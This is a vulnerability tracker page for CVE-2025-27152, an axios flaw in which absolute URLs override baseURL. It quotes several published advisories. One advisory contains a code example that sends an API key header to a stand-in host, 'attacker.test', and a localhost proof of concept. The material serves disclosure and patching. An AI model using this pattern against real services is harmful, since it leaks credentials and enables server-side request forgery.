Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Possible SSRF and Credential Leakage via Absolute URL in axios Requests

CVSS 4.0 7.7 HIGHEUVD CVSS 4.0 7.7 CVSS 4.0 · [email protected] · Secondary 7.7 HIGHCVSS 3.1 · [email protected] · Primary 5.3 MEDIUMCVSS_V4 Publisher rating HIGHFixed by axios 1.8.2Fixed by axios 0.30.0KEV status unknown

cve-program · CVE-2025-27152

Published

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.

Read the publisher's advisory

euvd · EUVD-2025-7731

Published

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.

Read the publisher's advisory

nvd · CVE-2025-27152

Published

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.

Read the publisher's advisory

osv · GHSA-jr5f-v2jv-69x6

Published

### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers. It is recommended that: - When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers: ``` mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (e.g., main.js): ```js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); ``` 3. Run the script: ``` $ node main.js this is server2 ``` Even though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`. ### Impact - Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2025-27152

Published

axios

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "axios",
                    "product": "axios",
                    "versions": [
                        {
                            "version": "< 1.8.2",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2025-7731

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 7, 2025, 3:13:15 PM

dateUpdated: Mar 7, 2025, 7:32:17 PM

13 related source bulletins · separate from aliases

SUSE-SU-2025:1326-1: Security update for pgadmin4

CVE-2023-1907 · CVE-2024-4068 · CVE-2025-27152

WID-SEC-W-2025-0930: IBM Business Automation Workflow: Mehrere Schwachstellen

CVE-2024-55565 · CVE-2025-1495 · CVE-2025-1838 · CVE-2025-27152 · CVE-2025-27789

NCSC-2026-0034: Kwetsbaarheden verholpen in Atlassian producten

CVE-2021-3807 · CVE-2022-25883 · CVE-2022-45693 · CVE-2024-21538 · CVE-2024-38286 · CVE-2024-45296 · CVE-2024-45801 · CVE-2025-12383 · CVE-2025-15284 · CVE-2025-27152 · CVE-2025-41249 · CVE-2025-48976 · CVE-2025-48989 · CVE-2025-49146 · CVE-2025-52434 · CVE-2025-52999 · CVE-2025-53689 · CVE-2025-54988 · CVE-2025-55163 · CVE-2025-55752 · CVE-2025-64775 · CVE-2025-66516 · CVE-2025-9287 · CVE-2025-9288 · CVE-2026-21569

SUSE-SU-2025:1227-1: Security update for pgadmin4

CVE-2025-27152

SUSE-SU-2025:01326-1: Security update for pgadmin4

CVE-2023-1907 · CVE-2024-4068 · CVE-2025-27152

WID-SEC-W-2025-0705: HCL BigFix WebUI-Anwendungen: Mehrere Schwachstellen

CVE-2024-47764 · CVE-2025-25977 · CVE-2025-27152 · CVE-2025-27789 · CVE-2025-29774 · CVE-2025-29775

openSUSE-SU-2025:15307-1: velociraptor-0.7.0.4.git163.87ee3570-1.1 on GA media

CVE-2025-27144 · CVE-2025-27152 · CVE-2025-30204

WID-SEC-W-2025-2611: NetApp ActiveIQ Unified Manager (Axios): Schwachstelle ermöglicht Offenlegung von Informationen

CVE-2025-27152

WID-SEC-W-2025-0841: IBM App Connect Enterprise: Mehrere Schwachstellen

CVE-2024-57965 · CVE-2025-27152 · CVE-2025-29774 · CVE-2025-29775

WID-SEC-W-2026-0177: Atlassian Bamboo, Bitbucket, Confluence und Jira: Mehrere Schwachstellen

CVE-2021-3807 · CVE-2022-25883 · CVE-2022-45693 · CVE-2024-21538 · CVE-2024-38286 · CVE-2024-45296 · CVE-2024-45801 · CVE-2025-12383 · CVE-2025-15284 · CVE-2025-27152 · CVE-2025-41249 · CVE-2025-48976 · CVE-2025-48989 · CVE-2025-49146 · CVE-2025-52434 · CVE-2025-52999 · CVE-2025-53689 · CVE-2025-54988 · CVE-2025-55163 · CVE-2025-55752 · CVE-2025-64775 · CVE-2025-66516 · CVE-2025-9287 · CVE-2025-9288 · CVE-2026-21569

msrc_CVE-2025-27152: Possible SSRF and Credential Leakage via Absolute URL in axios Requests

CVE-2025-27152

WID-SEC-W-2025-0580: IBM License Metric Tool: Mehrere Schwachstellen

CVE-2024-10917 · CVE-2024-12797 · CVE-2024-21208 · CVE-2024-21210 · CVE-2024-21217 · CVE-2024-21235 · CVE-2024-45296 · CVE-2024-52798 · CVE-2024-57965 · CVE-2025-27111 · CVE-2025-27152 · CVE-2025-25184

WID-SEC-W-2025-0998: IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen

CVE-2024-6827 · CVE-2025-1194 · CVE-2025-32996 · CVE-2025-32997 · CVE-2025-27152 · CVE-2025-27789 · CVE-2025-1993

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2025-27152

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-918

Original publisher date fields

published: 2025-03-07T16:15:38.773

lastModified: 2026-06-17T09:03:06.570

1 source CPE criteria · context only
  • cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-jr5f-v2jv-69x6

Published

axios

npm

SEMVER · introduced 1.0.0 → fixed 1.8.2

axios

npm

SEMVER · introduced 0 → fixed 0.30.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 06:51 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current